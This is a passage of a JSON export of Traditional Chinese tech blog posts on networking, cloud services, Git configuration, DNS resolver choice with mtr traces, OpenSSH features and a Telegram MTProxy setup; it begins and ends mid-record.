會到東京，<code>time2.facebook.com</code> 到大阪 (難得在 traceroute 上看到 ITM 這個代碼，代表 <a href=\"https://zh.wikipedia.org/wiki/%E5%A4%A7%E9%98%AA%E5%9C%8B%E9%9A%9B%E6%A9%9F%E5%A0%B4\">伊丹機場</a>)，<code>time3.facebook.com</code> 則是台灣，<code>time4.facebook.com</code> 到香港，<code>time5.facebook.com</code> 好像是馬來西亞？看 latency 與 <code>maa</code> 這個詞... (<strong>Update</strong>：應該是<a href=\"https://zh.wikipedia.org/wiki/%E9%87%91%E5%A5%88%E5%9B%BD%E9%99%85%E6%9C%BA%E5%9C%BA\">清奈國際機場</a>)\r\n\r\n可以考慮看看，另外 <a href=\"https://developers.google.com/time/\">Google Public NTP</a> 也是個選項。",
    "title": "Facebook 提供 Public NTP Service"
  },
  {
    "id": "9451",
    "body": "<a href=\"https://aws.amazon.com/global-accelerator/\">AWS Global Accelerator</a> 是讓使用者先連到最近的 <a href=\"https://aws.amazon.com/\">AWS</a> 節點，再透過 AWS 的骨幹網路連到服務上 (可以參考之前寫的「<a href=\"https://blog.gslin.org/archives/2018/11/27/8586/aws-%E6%8E%A8%E5%87%BA-global-accelerator%EF%BC%8C%E7%94%A8-aws-%E7%9A%84%E7%B6%B2%E8%B7%AF%E5%8A%A0%E9%80%9F/\">AWS 推出 Global Accelerator，用 AWS 的網路加速</a>」這篇)，當時就有說支援 TCP 與 UDP，但剛剛看到「<a href=\"https://aws.amazon.com/about-aws/whats-new/2020/03/aws-global-accelerator-launches-tcp-termination-at-the-edge/\">AWS Global Accelerator launches TCP Termination at the Edge</a>」這篇的時候才注意到，本來的產品是把 TCP 封包當作 UDP 在處理，也就是 TCP 3-way handshake 還是要到服務節點本身處理。\r\n\r\n現在這個 TCP Termination 的功能則是先在最近的節點上建立 TCP 連線，然後同時往後端的建立連線接起來：\r\n\r\n<blockquote>Typically, a TCP connection is established by using a three-way handshake (that is, three messages) between the client on the internet and the application endpoint in the AWS Region. So the farther away the client is from the endpoint, the longer the initial connection setup takes. With TCP termination at the edge, Global Accelerator reduces initial setup time by establishing a TCP connection between the client and the AWS edge location closest to the client. At nearly the same time, Global Accelerator creates a second TCP connection between the edge location and the application endpoint in the AWS Region. With this process, the client gets a faster response from the Global Accelerator edge location, and the connection from the edge location to the application endpoint in the Region is optimized to run over the AWS global network.</blockquote>\r\n\r\n這樣連線的速度就會更快，但有可能會有前面建起來但後面建不起來的情況需要處理，一般的應用程式應該還好，畢竟地球上有個 GFW 也常幹這種事情...",
    "title": "AWS Global Accelerator 的 TCP 協定"
  },
  {
    "id": "9457",
    "body": "看到「<a href=\"https://github.com/andybrewer/mvp\">MVP.css — Minimalist stylesheet for HTML elements</a>」這個，目標是只需要寫 semantic html，剩下的就交給 css 處理：\r\n\r\n<blockquote>No class names, no frameworks, just semantic HTML and you're done.</blockquote>\r\n\r\n這種專案主要是看樣式喜不喜歡，畢竟選這種方案主要目的就是「懶」而不是要做太多效果，之後有機會來用看看...",
    "title": "MVP.css"
  },
  {
    "id": "9459",
    "body": "看到「<a href=\"https://www.micah.soy/posts/setting-up-git-identities/\">Setting Up Git Identities</a>」這篇，裡面提到的方法可以解決 <a href=\"https://git-scm.com/\">Git</a> 裡有多個身份時常見的用錯身份的問題...\r\n\r\n個人的 Git repository 會希望用自己的 email address，而公司的 Git repository 則是希望用公司的 email address，但 Git 預設會使用 username 與 hostname 組一個出來，所以常常是推到公司的機器上後才發現 Git repository 沒設定公司的 email address...\r\n\r\n上面提到的文章就是關掉 Git 預設會組合的行為，於是就會記得要設定了：\r\n\r\n<pre>git config --global user.useConfigOnly true</pre>\r\n\r\n然後記得要把全域設定裡的 <code>name</code> 與 <code>email</code> 拔掉，另外有些人可能會掛上 <code>signingkey</code> 也一起拔掉：\r\n\r\n<pre>git config --global --unset user.name\r\ngit config --global --unset user.email\r\ngit config --global --unset user.signingkey</pre>\r\n\r\n這樣當沒設定時想要 <code>git commit</code>，就會被擋下來要求你提供，就能避免把自己的 email address 混在公司的 Git repository 裡面了...",
    "title": "強制每個 Git Repository 都要設定使用者資訊"
  },
  {
    "id": "9460",
    "body": "在 <a href=\"https://www.percona.com/\">Percona</a> 的 blog 上看到了 <a href=\"https://github.com/akopytov/sysbench\">sysbench</a> 的 RNG (Random Number Generator) 跟想像中的不太一樣：「<a href=\"https://www.percona.com/blog/2020/03/26/sysbench-and-the-random-distribution-effect/\">What You May Not Know About Random Number Generation in Sysbench</a>」。\r\n\r\n預設是 Special：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/SOEzrkV.webp\" /><img src=\"https://i.gslin.com/imgur/SOEzrkV.jpg\" alt=\"\" /></picture>\r\n\r\n而不是直覺的 Uniform (也有提供)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/wHIy07Z.webp\" /><img src=\"https://i.gslin.com/imgur/wHIy07Z.jpg\" alt=\"\" /></picture>\r\n\r\n另外還提供三種：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/tSN3rki.webp\" /><img src=\"https://i.gslin.com/imgur/tSN3rki.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/fDflDsn.webp\" /><img src=\"https://i.gslin.com/imgur/fDflDsn.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/NZeL082.webp\" /><img src=\"https://i.gslin.com/imgur/NZeL082.jpg\" alt=\"\" /></picture>\r\n\r\n翻了翻可以翻到其他四個的理論基礎，但就是不知道 Special 的設計理論在哪裡...",
    "title": "sysbench 的 RNG"
  },
  {
    "id": "9461",
    "body": "<a href=\"https://soundcloud.com/\">SoundCloud</a> 推出的錯誤蒐集工具 <a href=\"https://github.com/soundcloud/periskop\">Periskop</a>，應該是取自捷克文的 <a href=\"https://cs.wikipedia.org/wiki/Periskop\">Periskop</a> (潛望鏡)：「<a href=\"https://developers.soundcloud.com/blog/periskop-exception-monitoring-service\">Periskop: Exception Monitoring Service</a>」。\r\n\r\n與 <a href=\"https://sentry.io/\">Sentry</a> 這類工具最大的差異在於是走 pull-based 架構，也就是跟 <a href=\"https://prometheus.io/\">Prometheus</a> 的設計相同 (Prometheus 也是 SoundCloud 發明的專案)。\r\n\r\n就資源上來說，當 instance 上的錯誤滿天飛，而超過 log buffer 時，如果是以巨觀的角度來看，其實掉一些東西也沒關係：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/p2lgUAy.webp\" /><img src=\"https://i.gslin.com/imgur/p2lgUAy.jpg\" alt=\"\" /></picture>\r\n\r\n另外也有提到一些缺點：\r\n\r\n<ul>\r\n\t<li>If a fatal exception occurs and the process dies, the exception won’t be collected. However, this can be mitigated by the reporting capabilities of orchestration services like Kubernetes or other forms of logging.</li>\r\n\t<li>The pull model is not well suited for short-lived processes like scheduled jobs. This could be solved by the use of a push-based event gateway, although we haven’t yet had the need at SoundCloud, as it is usually more convenient to use logs to inspect failed jobs.</li></ul>\r\n\r\n雖然 web (js) 與 mobile devices 的部份沒辦法被這個服務涵蓋，但一般來說會把面向使用者的服務另外拆開，所以不算是缺點... (像 Sentry 那樣通包，主要還是為了商業上的規劃)\r\n\r\n目前看起來還缺一些東西 (就我想用的需求)，可以先觀察一下會怎麼發展，另外一邊 Sentry 也在朝 Python 3 進行，也可以嘗試看看...",
    "title": "SoundCloud 推出的錯誤蒐集工具 Periskop"
  },
  {
    "id": "9462",
    "body": "在「<a href=\"https://lists.zx2c4.com/pipermail/wireguard/2020-March/005206.html\">[ANNOUNCE] WireGuard 1.0.0 for Linux 5.6 Released</a>」這邊看到的消息，看起來 <a href=\"https://www.wireguard.com/\">WireGuard</a> 1.0.0 會回過頭來 backport 到幾個重要的版本：\r\n\r\n<blockquote>We'll also continue to maintain our wireguard-linux-compat [2] backports repo for older kernels. On the backports front, WireGuard was backported to Ubuntu 20.04 (via wireguard-linux-compat) [4] and Debian Buster (via a real backport to 5.5.y) [5]. I'm also maintaining real backports, not via the compat layer, to 5.4.y [6] and 5.5.y [7], and we'll see where those wind up; 5.4.y is an LTS release.</blockquote>\r\n\r\n包括 <a href=\"https://www.debian.org/\">Debian</a> 與 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 的新版，以及 5.4.x 的 LTS 版本，讓使用起來更方便一些...",
    "title": "WireGuard 1.0.0 的釋出"
  },
  {
    "id": "9464",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 總算是導入 security key 了，之前都得開 app 用 <a href=\"https://en.wikipedia.org/wiki/Time-based_One-time_Password_algorithm\">TOTP</a> 認證：「<a href=\"https://blog.cloudflare.com/cloudflare-now-supports-security-keys-with-web-authentication-webauthn/\">Cloudflare now supports security keys with Web Authentication (WebAuthn)!</a>」。\r\n\r\n把 security key 設定好之後，登入就會跳提示要你用 security key 登入：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/GDLLkxy.webp\" /><img src=\"https://i.gslin.com/imgur/GDLLkxy.jpg\" alt=\"\" /></picture>\r\n\r\n當你手上沒辦法用 security key 時，還是可以選擇用 TOTP：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ZEPwcEa.webp\" /><img src=\"https://i.gslin.com/imgur/ZEPwcEa.jpg\" alt=\"\" /></picture>\r\n\r\n這樣方便多了，而且也更安全 (比起六碼數字，以及防 phishing 的能力)。",
    "title": "Cloudflare 導入 Security Key 了 (WebAuthn)"
  },
  {
    "id": "9465",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到 <a href=\"https://github.com/tanrax/maza-ad-blocking\">Maza ad blocking</a>，這是一個擋廣告與追蹤的軟體，原理就是在 DNS 上檔掉某些網域。\r\n\r\n運作方式跟 <a href=\"https://en.wikipedia.org/wiki/Pi-hole\">Pi-hole</a> 接近，其中 Pi-hole 是提供一個 DNS server 擋，這套軟體則是透過 <code>/etc/hosts</code> 來擋。\r\n\r\n目前只支援 <a href=\"https://en.wikipedia.org/wiki/MacOS\">macOS</a> 與 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a>，不過這樣看起來使用的族群有點怪，因為在 desktop 上有更多手段可以擋，透過 DNS 類的擋法主要還是拿來對手機上無法無天的 app...\r\n\r\n不過先關注一下好了，之後也許會在某些場合下用到？",
    "title": "透過 /etc/hosts 擋廣告與追蹤的軟體"
  },
  {
    "id": "9466",
    "body": "昨天看到這個有趣的討論，要怎麼樣在一個 API call 裡面花最多錢：「<a href=\"https://mijailovic.net/2020/03/28/azure-money-burning/\">How to burn the most money with a single click in Azure</a>」。\r\n\r\n主要是這篇開始，在 <a href=\"https://aws.amazon.com/\">AWS</a> 上面買 <a href=\"https://aws.amazon.com/rds/\">RDS</a> 的 RI，這一個 API call 可以花三百多萬美金：\r\n\r\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">Since someone asked today:<br><br>An all-upfront reserved instance for a db.r5.24xlarge Enterprise Multi-AZ Microsoft SQL server in Bahrain is $3,118,367. <br><br>I challenge you to find a more expensive single <a href=\"https://twitter.com/awscloud?ref_src=twsrc%5Etfw\">@awscloud</a> API call.</p>&mdash; Corey Quinn (@QuinnyPig) <a href=\"https://twitter.com/QuinnyPig/status/1243316557993795586?ref_src=twsrc%5Etfw\">March 26, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n然後作者試著在 <a href=\"https://azure.microsoft.com/\">Azure</a> 上找到 <a href=\"https://azure.microsoft.com/services/cosmos-db/\">Cosmos DB</a> 可以花到九百多萬美金：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/1zsaLwD.webp\" /><img src=\"https://i.gslin.com/imgur/1zsaLwD.jpg\" alt=\"\" /></picture>\r\n\r\n另外一個是用 Blob Storage 撐量出來，一億六千多萬美金：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Cpl54H7.webp\" /><img src=\"https://i.gslin.com/imgur/Cpl54H7.jpg\" alt=\"\" /></picture>\r\n\r\n然後最終極的方法是 999 台 instance 的 RI，可以到八億 XDDD：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/hHLnnlK.webp\" /><img src=\"https://i.gslin.com/imgur/hHLnnlK.jpg\" alt=\"\" /></picture>\r\n\r\n不過後面這些方法應該買不下去，雲端服務預留的 capacity 應該不夠這樣搞...",
    "title": "花最多錢的 API call"
  },
  {
    "id": "9467",
    "body": "在 <a href=\"https://www.percona.com/\">Percona</a> 的「<a href=\"https://www.percona.com/blog/2020/03/18/how-container-networking-affects-database-performance/\">How Container Networking Affects Database Performance</a>」這篇在討論 <a href=\"https://kubernetes.io/\">Kubernetes</a> 上選擇不同的 CNI 對於資料庫效能的影響。\r\n\r\n最重要的是結果的這張圖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/iEbnxNt.webp\" /><img src=\"https://i.gslin.com/imgur/iEbnxNt.jpg\" alt=\"\" /></picture>\r\n\r\n可以看到 TPS 與 throughput 都有影響到，要注意的是這是兩個不同的工具測出來的結果，在 TPS 上是用 <a href=\"https://github.com/akopytov/sysbench\">sysbench</a>，可以看到最好的 <a href=\"https://www.kube-router.io/\">Kube-Router</a> 上也掉了 13% 的 TPS：\r\n\r\n<blockquote>Another key thing we found was that even in the best-case with Kube-Router we see an approximate 13% decrease in database performance comparing bare metal to running within Kubernetes. This illustrates that there are still improvements to be made to the performance of container networking in Kubernetes.</blockquote>\r\n\r\nthroughput 是用 <a href=\"https://iperf.fr/\">iperf3</a>，只要不是真的掉很多，就沒那麼關心了...\r\n\r\n不過這個測試另外一個解讀是，如果你用資料庫不單純是 PK find() 類的處理，那麼效能應該是還好，因為會有不少 CPU 資源 (以及對應的時間) 是用在 join 或是其他處理上，對於 latency 與 throughput 應該就沒有那麼敏感了...",
    "title": "在網路流量很大時，Container 的網路對資料庫效能的影響"
  },
  {
    "id": "9468",
    "body": "在「<a href=\"https://towardsdatascience.com/deep-learning-based-super-resolution-with-opencv-4fd736678066\">Deep Learning based Super Resolution with OpenCV</a>」這邊看到 <a href=\"https://opencv.org/\">OpenCV</a> 支援這些類神經網路的演算法了，而且有預先訓練好的模型資料可以下載來用。\r\n\r\n傳統放大的方法包括 bicubic 與 nearest neighbor，速度很快但是效果就普普通通，而 NN 類的方法的效果遠超過傳統方式，不過速度慢不少。\r\n\r\n文章裡面有提到可以指定不同的 NN 模型：\r\n\r\n<blockquote>The first parameter is the name of the model. You can choose between: “edsr”, “fsrcnn”, “lapsrn”, “espcn”. It is very important that this model is the correct one for the model you specified in ‘sr.readModel()’. See the Model section on the bottom of the page for the specifications of each model.</blockquote>\r\n\r\n拿這些模型名字搜了一下資料，在「<a href=\"https://www.docs.opencv.org/master/dc/d69/tutorial_dnn_superres_benchmark.html\">Super-resolution benchmarking</a>」這邊可以看到比較，主要是在講 EDSR 很棒，然後 ESPCN 很快？\r\n\r\n不過看起來可以直接拿來用在不少地方了...",
    "title": "用 OpenCV 與類神經網路放大圖片"
  },
  {
    "id": "9469",
    "body": "這台 <a href=\"https://en.wikipedia.org/wiki/Mac_Mini\">Mac Mini</a> 是我第一個蘋果產品 (退伍後在 <a href=\"https://www.pixnet.net/\">PIXNET</a> 的時候買的)，當時本來想在上面寫些東西，不過後來就一直當個終端機在用而已，到這幾年他的定位就是放在客廳當個播放器 (像是開 <a href=\"https://www.twitch.tv/\">Twitch</a> 或是 <a href=\"https://www.youtube.com/\">YouTube</a> 在看)。\r\n\r\n不過每次用都覺得開 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 開的很慢，就興起將硬碟換成 SSD 硬碟的念頭了。至於記憶體，當初在買 Mac Mini 的時候應該是已經升級過，裡面是兩條 4GB 了，網路上是有人提到可以支援兩條 8GB，不過以目前客廳的用法，應該是用不到...\r\n\r\n先對價錢做了一些功課，如果是自己處理，打算換成美光的 Crucial MX500，在 <a href=\"https://24h.pchome.com.tw/\">24h</a> 是賣 $2,099 (不過後來是剛好有去光華一趟，就在光華買回來)，然後打電話問一下有提供更換服務的店家，500GB SSD 是 $3,500 換到好，1TB SSD 則是 $6,000。\r\n\r\n以 500GB 的價錢倒是沒有到不能接受，但也不是能馬上就說 ok 的價位，還是得看一下有多麻煩才能決定要怎麼做。\r\n\r\n所以就跑去看了一下 YouTube 上換 SSD 的影片，看起來只要有對應的螺絲起子，應該是可以自己換完。而我之前就有準備六角螺絲起子，應該是可以換下來：\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/6Awf_fcXj5s\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen></iframe>\r\n\r\n實際拆的時候才發現，不只需要正六角的螺絲起子 (H 系列)，還需要星狀的螺絲起子 (T 系列)，本來想在 24h 下單隔天再來弄，突然想到這種東西在水電五金行應該有，當時才晚上八點，就跑去外面找了一組 (價錢也比 24h 便宜)，回來繼續拆...\r\n\r\n有了正確的工具，拆開就簡單不少，反倒是裝回去折騰一陣子... 在裝有 WiFi 天線的那塊板子的四顆螺絲時卡了一個小時 (一直都只鎖的上去三顆)，最後本來是打算少鎖一顆螺絲，結果在準備放棄的時候突然暴力法把四個孔位都卡進去了，就順利把四顆螺絲都鎖上去...\r\n\r\n接下來就是先開機進入 macOS Recovery 確認硬碟有被抓到，確認有被抓到以後，就可以準備重裝系統，這時候我拿 MBPR 下載 10.13 (<a href=\"https://en.wikipedia.org/wiki/MacOS_High_Sierra\">High Sierra</a>，這台 Mac Mini 能支援的最新版)，生出 USB 隨身碟裝機，然後插回 Mac Mini 重開機就可以裝系統了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/gIz8UMF.webp\" /><img src=\"https://i.gslin.com/imgur/gIz8UMF.jpg\" alt=\"\" /></picture>\r\n\r\n裝完後的開機速度很明顯快不少，裝軟體的速度也是，另外再打開一些網站看一看，冷啟動的速度都改善很多。\r\n\r\n算是趁連假的時候整理一下硬體，還蠻有趣的...",
    "title": "幫 2011 年的 Mac Mini 換 SSD"
  },
  {
    "id": "9471",
    "body": "AWS 在「<a href=\"https://aws.amazon.com/about-aws/whats-new/2020/03/aws-ground-station-now-available-sydney/\">AWS Ground Station is now available in the Asia Pacific (Sydney) Region in Australia</a>」這邊宣佈了 <a href=\"https://aws.amazon.com/ground-station/\">AWS Ground Station</a> 多了雪梨 (澳洲) 的點。\r\n\r\n這樣亞洲東部這區的衛星也有站點可以打上去了，加上本來的美東美西，歐洲與中東，涵蓋率應該是拉起來了：\r\n\r\n<blockquote>AWS Ground Station is available today in US West (Oregon), US East (Ohio), Middle East (Bahrain), EU (Stockholm), and Asia Pacific (Sydney) with more regions coming soon.</blockquote>\r\n\r\n不過定價策略還沒變，先繼續看看好了...",
    "title": "AWS Ground Station 增加了澳洲的點"
  },
  {
    "id": "9472",
    "body": "前陣子的文章，<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 將不熱門的資料放到記憶體內，不寫到磁碟裡面：「<a href=\"https://blog.cloudflare.com/why-we-started-putting-unpopular-assets-in-memory/\">Why We Started Putting Unpopular Assets in Memory</a>」。\r\n\r\n主要的原因是這些不熱門的資料常常是一次性的，寫到 SSD 裡面反而浪費 SSD 的生命。而且這樣做因為減少了寫入，反而可以讓 SSD 的讀取變快：\r\n\r\n<blockquote>The result: disk writes per second were reduced by roughly half and corresponding disk hit tail latency was reduced by approximately five percent.</blockquote>\r\n\r\n這個想法還蠻特別的，但好像印象中之前有人有提過類似的方法...\r\n\r\nAnyway，這個想法不只在 CDN 這邊可以用到，對於有 memory + storage 架構的 cache system 也可以套用類似的道理，而要怎麼決定哪些 object 要寫到磁碟裡面的演算法就是重點了...\r\n\r\n題外話，剛剛因為突然想到，瞄了一下 <a href=\"http://www.squid-cache.org/\">Squid</a>，發現連 HTTPS 都還沒上...",
    "title": "Cloudflare 的另外一個策略：不熱門的資料只放到記憶體內"
  },
  {
    "id": "9474",
    "body": "最近剛好跟朋友有聊到 <code>1.1.1.1</code>，然後就有提到我不推薦使用 <code>1.1.1.1</code> 的原因。\r\n\r\n主要是因為 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 以隱私的理由所以不打算支援 <a href=\"https://en.wikipedia.org/wiki/EDNS_Client_Subnet\">EDNS Client Subnet</a> (ECS)，而 ECS 這項技術可以把 client 的 subnet 資訊帶給 DNS server，讓 DNS server 可以配出更精準的伺服器，而關於 Cloudflare 不支援的這點，可以在「<a href=\"https://community.cloudflare.com/t/1-1-1-1-supports-ecs/17424\">1.1.1.1 supports ECS?</a>」這邊看到一些討論。\r\n\r\n這個問題在 <a href=\"https://www.akamai.com/\">Akamai</a> 這種超大 CDN，在同一個地區的各 ISP 都有伺服器的情況下特別明顯。\r\n\r\n以我家第四台的 cable 線路來說 (我的備用線路)，是走亞太 (<a href=\"http://www.apol.com.tw/\">APOL</a>) 的線路出去，如果從自己的 ISP 查 <a href=\"https://www.akamai.com/\">www.akamai.com</a> 的位置，可以查到 <code>23.76.81.151</code>，用 mtr 可以發現是走到 <a href=\"https://www.aptg.com.tw/esp/APTGmobility/aptg_idc/Information/ebix/\">EBIX</a> (也是亞太) 裡面的伺服器：\r\n\r\n<pre style=\"font-size:small;\">gslin@rpi3p [~] [13:35] host www.akamai.com         \r\nwww.akamai.com is an alias for www.akamai.comv2.edgekey.net.\r\nwww.akamai.comv2.edgekey.net is an alias for e1699.dscx.akamaiedge.net.\r\ne1699.dscx.akamaiedge.net has address 23.76.81.151\r\ne1699.dscx.akamaiedge.net has IPv6 address 2600:1417:76:594::6a3\r\ne1699.dscx.akamaiedge.net has IPv6 address 2600:1417:76:58a::6a3\r\ngslin@rpi3p [~] [13:35] mtr -w 23.76.81.151\r\nStart: 2020-04-05T13:35:49+0000\r\nHOST: rpi3p                                              Loss%   Snt   Last   Avg  Best  Wrst StDev\r\n  1.|-- unknown                                             0.0%    10    0.5   0.5   0.4   0.6   0.0\r\n  2.|-- NK219-91-13-254.adsl.dynamic.apol.com.tw            0.0%    10    7.8   8.2   6.1  11.9   1.7\r\n  3.|-- 10.251.11.6                                         0.0%    10   19.3  25.6  19.3  33.5   4.7\r\n  4.|-- 10.251.231.5                                        0.0%    10   25.4  23.4  19.8  29.1   3.7\r\n  5.|-- 10.251.231.1                                        0.0%    10    8.0  10.7   5.7  24.0   5.7\r\n  6.|-- 10.251.230.34                                       0.0%    10   26.6  20.6   5.9 110.0  32.1\r\n  7.|-- 10.251.230.29                                       0.0%    10   58.4  35.4   6.6  81.2  30.9\r\n  8.|-- 202-178-245-162.cm.static.apol.com.tw               0.0%    10    9.5  18.4   7.4  78.5  21.3\r\n  9.|-- 203-79-250-201.static.apol.com.tw                   0.0%    10    8.5   8.2   6.4   9.8   1.0\r\n 10.|-- 211.76.96.191                                       0.0%    10    7.2  10.2   6.7  15.6   2.7\r\n 11.|-- 203-79-254-10.ebix.net.tw                           0.0%    10  2226. 3802. 2226. 6017. 1314.6\r\n 12.|-- a23-76-81-151.deploy.static.akamaitechnologies.com  0.0%    10    6.4   9.4   6.3  16.4   3.3</pre>\r\n\r\n但如果從 <code>1.1.1.1</code> 查，會查到在中華電信內的 Akamai 伺服器，於是在尖峰時間反而變得很慢：\r\n\r\n<pre style=\"font-size:small;\">gslin@rpi3p [~] [13:36] host www.akamai.com 1.1.1.1\r\nUsing domain server:\r\nName: 1.1.1.1\r\nAddress: 1.1.1.1#53\r\nAliases: \r\n\r\nwww.akamai.com is an alias for www.akamai.comv2.edgekey.net.\r\nwww.akamai.comv2.edgekey.net is an alias for e1699.dscx.akamaiedge.net.\r\ne1699.dscx.akamaiedge.net has address 23.48.142.132\r\ne1699.dscx.akamaiedge.net has IPv6 address 2001:b034:1:1ea7::6a3\r\ne1699.dscx.akamaiedge.net has IPv6 address 2001:b034:1:1e9f::6a3\r\ngslin@rpi3p [~] [13:39] mtr -w 23.48.142.132\r\nStart: 2020-04-05T13:39:42+0000\r\nHOST: rpi3p                                               Loss%   Snt   Last   Avg  Best  Wrst StDev\r\n  1.|-- unknown                                              0.0%    10    0.4   0.5   0.4   0.6   0.1\r\n  2.|-- NK219-91-13-254.adsl.dynamic.apol.com.tw             0.0%    10    8.7  17.0   6.1  81.2  22.8\r\n  3.|-- 10.251.11.6                                          0.0%    10   26.7  24.6  21.4  29.3   2.8\r\n  4.|-- 10.251.231.5                                         0.0%    10   26.8  29.9  16.8  88.6  21.0\r\n  5.|-- 10.251.231.1                                         0.0%    10    7.2   8.3   6.8  12.7   1.8\r\n  6.|-- 10.251.230.34                                        0.0%    10   10.3   8.9   5.9  11.0   1.6\r\n  7.|-- 10.251.230.29                                        0.0%    10    6.3  10.1   5.4  31.7   7.8\r\n  8.|-- 202-178-245-162.cm.static.apol.com.tw                0.0%    10    8.8   9.1   7.3  13.2   1.8\r\n  9.|-- 203-79-250-209.static.apol.com.tw                    0.0%    10   10.0   8.6   6.3  10.8   1.5\r\n 10.|-- 211.76.96.67                                         0.0%    10    7.9   9.0   4.0  12.4   2.6\r\n 11.|-- 109-84-21-113-static.chief.net.tw                    0.0%    10   18.3  11.7   7.0  25.1   5.7\r\n 12.|-- 21-252-123-103-static.chief.net.tw                   0.0%    10    9.4  10.0   7.7  15.0   2.2\r\n 13.|-- 203-75-228-5.HINET-IP.hinet.net                      0.0%    10   10.1  10.8   7.0  21.2   4.3\r\n 14.|-- r4209-s2.hinet.net                                   0.0%    10    9.4  10.5   6.3  17.9   3.7\r\n 15.|-- tpdt-3012.hinet.net                                  0.0%    10   92.0  61.6  11.1 141.6  53.8\r\n 16.|-- tpdt-3301.hinet.net                                  0.0%    10   42.9  38.8   7.3 100.8  33.6\r\n 17.|-- a23-48-142-132.deploy.static.akamaitechnologies.com  0.0%    10    8.2  15.5   8.2  46.6  12.4\r\n</pre>\r\n\r\n跨 ISP 的線路品質通常都沒有同一個 ISP 內來的好，但因為沒有 EDNS Client Subnet (ECS) 的資訊，所以只能導去當地 (地理上) 預設的點，latency 應該還是夠低，但頻寬就未必足夠了。\r\n\r\n用 <code>8.8.8.8</code> 會好一點，但目前最建議的還是用 ISP 自家的 DNS resolver，當 ISP 的 DNS Resolver 不支援 EDNS Client Subnet 時，CDN 也還是會正確讀到 ISP 的資訊，配到的伺服器的頻寬就不會太差...",
    "title": "關於不推薦用 1.1.1.1 的事情..."
  },
  {
    "id": "9475",
    "body": "在「<a href=\"https://gravitational.com/blog/how-to-ssh-properly/\">How to SSH Properly</a>」這篇裡面講了三個 OpenSSH 的進階用法：CA 架構、透過 Jump Server 連線，以及 2FA 的設定。\r\n\r\n之前蠻常看到使用 <code>-o StrictHostKeyChecking=off</code> 關閉檢查，但 OpenSSH 有支援 CA 架構，可以先產生出 Root CA，然後對 Host 的 Public Key 簽名，在連線的時候就可以確保連線沒有被調包 (通常是 <a href=\"https://en.wikipedia.org/wiki/Man-in-the-middle_attack\">MITM</a>)，但得設計一套機制，自動化機器生出來後的步驟。\r\n\r\n另外一個可能的方式是 <a href=\"https://en.wikipedia.org/wiki/SSHFP\">SSHFP</a>，搭配 <a href=\"https://en.wikipedia.org/wiki/DNSSEC\">DNSSEC</a> 也可以確認連線沒有被調包，不過這又牽扯到 DNS 的部份...\r\n\r\n第二個提到的是 Jump Server (<a href=\"https://en.wikipedia.org/wiki/Bastion_host\">Bastion host</a>)，之前的作法是用 <code>-A</code> 把 authentication agent 帶過去再連進去，這邊則是教你怎麼下指令直接連線，而不需要先連到 Jump Server (但實際上底層是透過 Jump Server)。\r\n\r\n第三個是 2FA，對於還是使用密碼登入的系統可以多一層保護。文章裡面講的是 <a href=\"https://en.wikipedia.org/wiki/Time-based_One-time_Password_algorithm\">TOTP</a> 的方式 (就是現在還蠻常見的 app + 六碼動態數字)。\r\n\r\n先知道有這些東西，之後真的有用到的場景時再回來看...",
    "title": "OpenSSH 的三個進階用法：CA 架構、透過 Jump Server 連線、2FA"
  },
  {
    "id": "9476",
    "body": "在台灣如果是透過 <a href=\"https://www.hinet.net/\">HiNet</a> 連 <a href=\"https://telegram.org/\">Telegram</a> 是沒什麼問題 (不需要翻牆)，不過連結的 preview 以及圖片影片讀取的速度實在很慢，試著在 <a href=\"https://cloud.google.com/\">GCP</a> (彰濱機房) 跟 <a href=\"https://www.vultr.com/\">Vultr</a> (東京機房) 上架 Proxy 測試看看，發現速度都改善很多...\r\n\r\n這邊用的是官方提供的 <a href=\"https://github.com/TelegramMessenger/MTProxy\">MTProxy</a>，我把安裝的懶人包放在自己的 wiki 上了：「<a href=\"https://wiki.gslin.org/wiki/MTProxy\">MTProxy</a>」，在 <a href=\"https://aws.amazon.com/\">AWS</a> 或是 GCP 上安裝時，因為網卡拿到的是 Private IP 而非對外的 Public IP，需要指定 <code>--nat-info</code> 告訴 MTProxy 要針對協定裡面的 IP address 另外處理。\r\n\r\n跑一陣子再來看看有什麼可以調整的...",
    "title": "架設 MTProxy 加快 Telegram 的速度"
  },
  {
    "id": "9477",
